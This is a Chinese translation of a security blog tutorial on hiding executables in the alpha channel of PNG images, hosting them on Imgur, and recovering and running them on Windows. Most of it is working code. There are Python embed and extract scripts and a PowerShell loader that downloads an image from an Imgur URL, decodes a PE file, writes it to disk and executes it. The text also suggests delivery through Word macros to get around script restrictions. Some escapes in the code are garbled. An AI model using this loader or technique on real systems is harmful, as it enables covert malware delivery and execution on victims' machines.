翻译:shan66
预估稿费:190RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
随着许多恶意软件作者开始把PE文件嵌入到图像中,这已经引起了安全研究人员的注意,几个月前卡巴斯基就发表了一篇使用PNG分发恶意软件的有效载荷的研究文章。让人遗憾的是,虽然这些图像的分辨率仅有63×48像素,但大小却达到了1.3 MB。
实际上,这种做法并不是很隐蔽,不过别着急,因为我们找到了更好的办法。
将文件编码到PNG图片中
首先,我们不妨先来了解一下PNG文件本身。与JPEG不同,PNG是无损的,即使在压缩的情况下也是如此,这就意味着以这种格式创建一个图像时,除非改变了其分辨率或颜色调色板,否则的话它会保留已生成的所有数据。与GIF不同,PNG文件是通过Alpha通道来处理透明效果的,而不是颜色替换。
我们能够PNG文件的压缩和alpha通道特性,将数据嵌入到PNG图像文件中去。对于PNG图像的每个像素来说,都是由三个8位值来表示颜色,同时,通过另一个8位值(称为“alpha通道”)来表示透明程度。这意味着每个像素可以表示为R,G,B和A,其中A的取值范围为0-255。
这里是一个示例图像(源自维基百科):
该图片的像素是800×600,具有8位色彩和alpha通道,这意味着该图片中可以保存480,000像素或468 KB的数据。下面,让我们使用Pillow库和Python在这个图片中嵌入数据。
下面是用来嵌入数据的Python脚本:
from PIL import Image
from sys import argv
from base64 import b64encode
i = argv[1]
o = argv[2]
with open(argv[3], 'rb') as f:
text = f.read()
img_in = Image.open(i)
img_pad = img_in.size[0] * img_in.size[1]
text = b64encode(text)
if len(text) < img_pad:
text = text + 'x00'*(img_pad - len(text))
else:
print('File is too large to embed into the image.')
quit()
text = [text[i:i+img_in.size[1]] for i in range(0, len(text), img_in.size[1])]
img_size = img_in.size
img_mode = img_in.mode
img_o = Image.new(img_mode, img_size)
for ih, tblock in zip(xrange(img_in.size[0]), text):
for iv, an in zip(xrange(img_in.size[1]), [ord(x) for x in tblock]):
x, y, z, a = img_in.getpixel((ih, iv))
pixels = (x, y, z, an)
img_o.putpixel((ih, iv), pixels)
img_o.save(o)
我们可以利用下列命令来执行上面的程序:
$ python encode.py image.png image_out.png payload.dat
让我们看看把图像嵌入到图像后是什么样子吧!
在这个图像里面,我又编码进去了一个JPEG。该图像显然变得更柔和了,在透明度方面多少有些掉帧的感觉,但通常不至于引起别人的怀疑。通过对编码过程进行一些改进,可以使alpha通道看起来更加自然。
实际上,嵌入其中的图像如下所示:
下面的Python脚本可以从图像中恢复数据:
from PIL import Image
from sys import argv
from base64 import b64decode
i = argv[1]
o = ''
s = argv[2]
img = Image.open(i)
for x in xrange(img.size[0]):
for y in xrange(img.size[1]):
p = img.getpixel((x, y))
p = p[-1]
o = o + chr(p)
o = o.replace('00', '')
o = b64decode(o)
with open(s, 'wb') as f:
f.write(o)
我们可以通过运行下面的命令来证明没有产生任何的损失:
$ md5 blog_sample.png
MD5 (blog_sample.png) = 694ab6d3260933f75dec92ba01902f9b
$ python encoder.py blog_sample.png blog_sample.out.png antivirus.jpg
$ md5 blog_sample.out.png
MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
$ md5 antivirus.jpg
MD5 (antivirus.jpg) = 84893c561288b6a1a9d76f399a89d51b
$ python decoder.py blog_sample.out.png antivirus.orig.jpg
$ md5 antivirus.orig.jpg
MD5 (antivirus.orig.jpg) = 84893c561288b6a1a9d76f399a89d51b
正如您所看到的,这个文件的内容不会因为在图像的Alpha通道中嵌入数据而发生变化。
使用Imgur和Powershell来滥用这个特性
自从在Reddit上首次亮相以来,Imgur已经成为最大的图像托管服务商之一。这主要得益于它可以直接上传图片,而不要求创建帐户。
通过测试发现,Imgur似乎会剥除不属于图像的数据。也就是说,您不能使用旧技术把zip文件和JPEG或PNG简单合并在一起,因为该服务会把这些数据完全剥离掉。
我们知道它会删除这些混合文件,那么它是否会删除我们前面编码进去的数据呢?让我们上传前面的示例图像来检查一下。
$ md5 blog_sample.out.png
MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
$ wget https://i.imgur.com/Oj8FhU5.png
--2016-11-24 13:56:50-- https://i.imgur.com/Oj8FhU5.png
Resolving i.imgur.com... 151.101.52.193
Connecting to i.imgur.com|151.101.52.193|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 664208 (649K) [image/png]
Saving to: 'Oj8FhU5.png'
Oj8FhU5.png 100%[====================================>] 648.64K 2.42MB/s in 0.3s
2016-11-24 13:56:51 (2.42 MB/s) - 'Oj8FhU5.png' saved [664208/664208]
$ md5 Oj8FhU5.png
MD5 (Oj8FhU5.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
如您所见,前面制作的文件上传到Imgur后并没有被改变。
那我们现在要怎么办? 这有用吗?好了,Imgur只是万里长征的第一步:无需注册帐户就可以上传图片。为什么不使用它来分发恶意软件,而不必暴露自己太多的信息呢?
有一件事要注意,你必须有能力恢复PNG图像并对其进行处理,因为带有代码执行漏洞的PNG库已经成为过去,只是加载带有有效载荷的图像是不太可能黑掉系统的。
幸运的是,Windows有一个内置的功能,可以直接让你与图像打交道并提取像素数据。为此,可以使用Powershell,而无需任何附加模块。代码如下:
Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Text.Encoding
$strURL = "http://i.imgur.com/nckqSN1.png"
$strFilename = "c:temppayloadb64.png"
$peOutputFile = "c:tempcalc.exe"
Invoke-WebRequest -Uri $strURL -OutFile $strFilename
$image = [System.Drawing.Image]::FromFile($strFilename)
$peBase64 = @()
for ($w=0;$w -lt $image.Width;$w++)
{
$row = @()
for ($h=0;$h -lt $image.Height;$h++)
{
$pixel = ($image.GetPixel($w,$h)).A
$pixel = [convert]::toint32($pixel, 10)
$pixel = [char]$pixel
$row += $pixel
}
$peBase64 = $peBase64 + $row
}
$peImage = @()
foreach ($peValue in $peBase64)
{
if ($peValue -ne "`0")
{
$peImage = $peImage += $peValue
}
}
$peImage = [System.Convert]::FromBase64String($peImage)
[System.IO.File]::WriteAllBytes($peOutputFile, $peImage)
& $peOutputFile
该脚本工作流程如下:
从Imgur下载PNG并将其保存到磁盘
1. 使用System.Drawing,读取每个像素并提取alpha(A)的值
2. 确保从数组中删除所有空值(0x00)
3. 对Base64数据进行解码并将文件写入磁盘
4. 将新解码的文件作为可执行文件运行
基于上面的代码,它当然会弹出计算器:
要想执行上面的代码,要求你的系统允许执行Powershell脚本。也就是说,虽然在大多数家用电脑这不是一个安全问题,因为它被默认禁用的,但是许多企业环境都要求启用这项功能。绕过所有限制的方法,是在VBScript的帮助下执行代码,可以在一个Word宏中存储所有这些东西。
解决方案
需要记住的一点是,虽然攻击是使用Powershell完成的,但这并不意味着你不能用带有嵌入宏的Word文档来实现这一点。从终端用户角度来看,避免执行任何不需要的代码是避免这种情况的最好方法。

评论